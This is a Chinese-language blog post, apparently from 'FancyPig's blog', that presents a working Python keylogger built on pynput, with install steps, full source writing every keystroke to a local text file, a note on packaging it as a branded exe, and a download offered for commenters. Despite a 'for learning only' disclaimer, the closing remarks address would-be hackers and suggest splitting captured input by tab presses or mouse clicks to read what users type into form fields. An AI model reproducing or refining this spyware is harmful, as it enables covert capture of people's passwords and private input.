![图片[1]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20211201171820327.webp)
相关声明
本文目的仅为培养Python开发兴趣,切勿用于非法用途。
视频演示
通过生成的exe运行后,可以监控到键盘的运行记录
温馨提示:运行exe文件之前,需要提前在C盘下创建 keylogger文件夹,后续代码会优化!
在C:\keylogger\fancypig.txt会有相关记录
![图片[2]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20211201112820291.webp)
软件下载
需要评论才能下载相关软件,本软件只能在windows系统上运行
源码编译
如果你想更深入的了解代码部分,或者想自己打包成自己品牌logo的,请看下面的教程。
![图片[3]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20211201113639930.webp)
环境依赖
需要依赖pynput模块,可以使用pip安装
pip install pynput
也可以在pycharm的settings>Interpreter中安装
![图片[4]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20211201104629338-1024x495-1.webp)
![图片[5]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20211201104644197.webp)
![图片[6]-想要监控键盘?Python搞定!附视频体验和软件-FancyPig's blog](https://www.cvv-goods.com/wp-content/uploads/2023/03/20211201104739776.webp)
相关代码
Python相关代码
from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()
keys=[]
def on_press(key):
string = str(key).replace("'","")
def on_release(key):
global keys
string = str(key).replace("'","")
keys.append('\r'+string)
main_string = "".join(keys)
print(main_string)
if len(main_string)>15:
with open('C:/Keylogger/fancypig.txt', 'a') as f:
f.write(main_string)
keys= []
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
这里会将键盘记录传入C:/Keylogger/fancypig.txt
打包
点评
上面代码其实存在很多的缺陷,如果你是一个黑客的话,你可能可以通过用户使用tab键切换表单来判断输入框的间隔,或者通过其他分析手段,但是这样并不是很智能,我们其实可以尝试通过鼠标点击来截断输出,这样就可以连贯的看到用户输入的词了,快来尝试一下吧!
© 版权声明
THE END
- 最新
- 最热
只看作者